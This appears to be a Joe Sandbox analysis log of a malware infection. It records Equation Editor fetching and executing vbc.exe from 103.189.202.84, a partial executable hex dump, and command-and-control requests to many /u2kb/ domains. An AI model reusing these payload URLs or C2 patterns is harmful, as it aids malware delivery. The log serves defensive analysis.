          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficTCP traffic: 45.33.6.223:80 -> 192.168.2.22:49173
          Source: global trafficDNS query: name: www.white-hat.uk
          Source: global trafficDNS query: name: www.sqlite.org
          Source: global trafficDNS query: name: www.gritslab.com
          Source: global trafficDNS query: name: www.bitservicesltd.com
          Source: global trafficDNS query: name: www.bitservicesltd.com
          Source: global trafficDNS query: name: www.222ambking.org
          Source: global trafficTCP traffic: 192.168.2.22:49171 -> 103.189.202.84:80
          Source: global trafficTCP traffic: 192.168.2.22:49172 -> 94.176.104.86:80
          Source: global trafficTCP traffic: 192.168.2.22:49173 -> 45.33.6.223:80
          Source: global trafficTCP traffic: 192.168.2.22:49176 -> 78.141.192.145:80
          Source: global trafficTCP traffic: 192.168.2.22:49179 -> 161.97.163.8:80

          Networking

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\SysWOW64\wscript.exeNetwork Connect: 45.33.6.223 80
          Source: C:\Windows\explorer.exeNetwork Connect: 78.141.192.145 80
          Source: C:\Windows\explorer.exeDomain query: www.white-hat.uk
          Source: C:\Windows\explorer.exeDomain query: www.bitservicesltd.com
          Source: C:\Windows\explorer.exeDomain query: www.gritslab.com
          Source: C:\Windows\explorer.exeNetwork Connect: 161.97.163.8 80
          Source: C:\Windows\explorer.exeNetwork Connect: 94.176.104.86 80
          Source: C:\Windows\SysWOW64\wscript.exeDomain query: www.sqlite.org
          Source: global trafficHTTP traffic detected: GET /u2kb/?MX=PXfMycAZpTAipct8YcIlv+jRzdgnyvgF2k7967nf/qU1A0mUqq9Jlnm9rK8XSf3D04yKTuePtKPnTC045fzMwSdM+ozxnu9rCO36QPo=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.white-hat.ukConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /u2kb/?MX=ydCzFiH7iMWnz6xHMbeyIS2EYayY5efYQUsmgPEoYCSsyD6HgT3yOGCjssC2N8mKn+GjINYvhr7iKNK7QGdClLf278PMkWXjYWxIQds=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.gritslab.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: GET /u2kb/?MX=rr+sOBvEXsBdGevUkpEFvjOGSuYjzi1YNHmXivr92FQhRIIYsedR2a+6GoV1WAKeGdj+MTdX512lJXnwfbSEi+kURcMlXNjU4ipRv+g=&uFI_=sroxa_9G7qh93 HTTP/1.1Host: www.bitservicesltd.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 20 Mar 2023 09:33:35 GMTServer: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28Last-Modified: Mon, 20 Mar 2023 09:29:00 GMTETag: "493cb-5f7518ea18874"Accept-Ranges: bytesContent-Length: 299979Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1f 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 2a 02 00 00 08 00 00 40 36 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 c0 03 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 85 00 00 a0 00 00 00 00 b0 03 00 e8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 66 00 00 00 10 00 00 00 68 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 9a 13 00 00 00 80 00 00 00 14 00 00 00 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 78 03 02 00 00 a0 00 00 00 06 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 00 01 00 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 e8 0c 00 00 00 b0 03 00 00 0e 00 00 00 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
          Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035B0646 URLDownloadToFileW,ShellExecuteExW,ExitProcess,
          Source: Joe Sandbox ViewIP Address: 45.33.6.223 45.33.6.223
          Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://103.189.202.84/889r12/vbc.exe
          Source: EQNEDT32.EXE, 00000002.00000002.969457766.000000000068E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://103.189.202.84/889r12/vbc.exehhC:
          Source: EQNEDT32.EXE, 00000002.00000002.969912964.00000000035B0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://103.189.202.84/889r12/vbc.exej
          Source: EQNEDT32.EXE, 00000002.00000002.969457766.0000000000699000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://103.189.202.84/889r12/vbc.exer
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
          Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://computername/printers/printername/.printer
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0B
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://investor.msn.com
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://investor.msn.com/
          Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://java.sun.com
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://localizability/practices/XML.asp
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://localizability/practices/XMLConfiguration.asp
          Source: vbc.exe, 00000005.00000000.968983697.000000000040A000.00000008.00000001.01000000.00000005.sdmp, vbc.exe, 00000005.00000002.1002708792.000000000040A000.00000004.00000001.01000000.00000005.sdmp, vbc.exe.2.drString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0C
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0N
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.thawte.com0
          Source: explorer.exe, 0000000C.00000002.1184919197.0000000001DD0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
          Source: explorer.exe, 0000000C.00000000.1042727006.0000000006450000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://servername/isapibackend.dll
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
          Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://treyresearch.net
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ts-ocsp.ws.symantec.com07
          Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://wellformedweb.org/CommentAPI/
          Source: explorer.exe, 0000000C.00000002.1194344486.000000000BD76000.00000004.80000000.00040000.00000000.sdmp, wscript.exe, 00000010.00000002.1185783285.0000000002CC6000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.1138870439.0000000001276000.00000004.80000000.00040000.00000000.sdmpString found in binary or memory: http://white-hat.uk/u2kb/?MX=PXfMycAZpTAipct8YcIlv
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
          Source: explorer.exe, 0000000C.00000002.1184919197.0000000001DD0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.%s.comPA
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.222ambking.org
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.222ambking.org/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.222ambking.org/u2kb/l
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.222ambking.org/u2kb/www.222ambking.org
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.222ambking.orgReferer:
          Source: explorer.exe, 0000000C.00000002.1184285879.0000000000335000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.0000000000335000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.autoitscript.com/autoit3
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.avisrezervee.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.avisrezervee.com/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.avisrezervee.com/u2kb/6g
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.avisrezervee.com/u2kb/www.avisrezervee.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.avisrezervee.comReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1190328364.0000000004B12000.00000040.80000000.00040000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.bitservicesltd.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.bitservicesltd.com/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.bitservicesltd.com/u2kb/www.bitservicesltd.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.bitservicesltd.comReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.ecomofietsen.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.ecomofietsen.com/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.ecomofietsen.com/u2kb/-wA
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.ecomofietsen.com/u2kb/www.ecomofietsen.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.ecomofietsen.comReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.employerseervices.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.employerseervices.com/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.employerseervices.com/u2kb/EJ
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.employerseervices.com/u2kb/www.employerseervices.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.energyservicestation.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.energyservicestation.com/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.energyservicestation.com/u2kb/I
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.energyservicestation.com/u2kb/www.energyservicestation.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.energyservicestation.comReferer:
          Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.fclaimrewardccpointq.shop
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.fclaimrewardccpointq.shop/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.fclaimrewardccpointq.shop/u2kb/www.fclaimrewardccpointq.shop
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.fclaimrewardccpointq.shopReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.germanreps.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.germanreps.com/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.germanreps.com/u2kb/5fQ
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.germanreps.com/u2kb/www.germanreps.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.germanreps.comReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.gritslab.com
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.gritslab.com/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.gritslab.com/u2kb//
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.gritslab.com/u2kb/www.gritslab.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.gritslab.comReferer:
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.hotmail.com/oe
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003CF7000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.icra.org/vocabulary/.
          Source: explorer.exe, 0000000C.00000000.1040826982.00000000046D0000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.iis.fhg.de/audioPA
          Source: wscript.exe, 00000010.00000003.1125600882.0000000006562000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.mozilla.com0
          Source: explorer.exe, 0000000C.00000000.1037108561.0000000003B10000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.msnbc.com/news/ticker.txt
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.mygloballojistik.online
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.mygloballojistik.online/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.mygloballojistik.online/u2kb/u
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.mygloballojistik.online/u2kb/www.mygloballojistik.online
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.mygloballojistik.onlineReferer:
          Source: explorer.exe, 0000000C.00000000.1045236905.00000000084C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.piriform.com/ccleaner
          Source: explorer.exe, 0000000C.00000002.1193489586.0000000008611000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046307432.0000000008611000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.piriform.com/ccleaner1SPS0
          Source: explorer.exe, 0000000C.00000002.1193741517.000000000869E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1184285879.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046889553.0000000008807000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1003655931.00000000003A6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1046750282.000000000869E000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
          Source: explorer.exe, 0000000C.00000000.1036283389.0000000002CBF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.1186521094.0000000002CBF000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.piriform.com/ccleanerq
          Source: explorer.exe, 0000000C.00000002.1189212475.0000000004385000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.1039865017.0000000004385000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.piriform.com/ccleanerv
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.shapshit.xyz
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.shapshit.xyz/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.shapshit.xyz/u2kb/www.shapshit.xyz
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.shapshit.xyzReferer:
          Source: wscript.exe, 00000010.00000002.1184336192.0000000000624000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.sqlite.org/2017/sqlite-dll-win32-x86-3170000.zip
          Source: wscript.exe, 00000010.00000002.1187920815.0000000061EA3000.00000008.00000001.01000000.00000008.sdmpString found in binary or memory: http://www.sqlite.org/copyright.html.
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thedivinerudraksha.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thedivinerudraksha.com/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.thedivinerudraksha.com/u2kb/www.thedivinerudraksha.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thedivinerudraksha.comReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thewildphotographer.co.uk
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thewildphotographer.co.uk/u2kb/
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thewildphotographer.co.uk/u2kb/t
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.thewildphotographer.co.uk/u2kb/www.thewildphotographer.co.uk
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.thewildphotographer.co.ukReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.un-object.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.un-object.com/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.un-object.com/u2kb/www.un-object.com
          Source: firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.un-object.comReferer:
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.white-hat.uk
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.1137560692.0000000000080000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://www.white-hat.uk/u2kb/
          Source: explorer.exe, 0000000C.00000002.1193741517.00000000086C9000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.white-hat.uk/u2kb/www.white-hat.uk
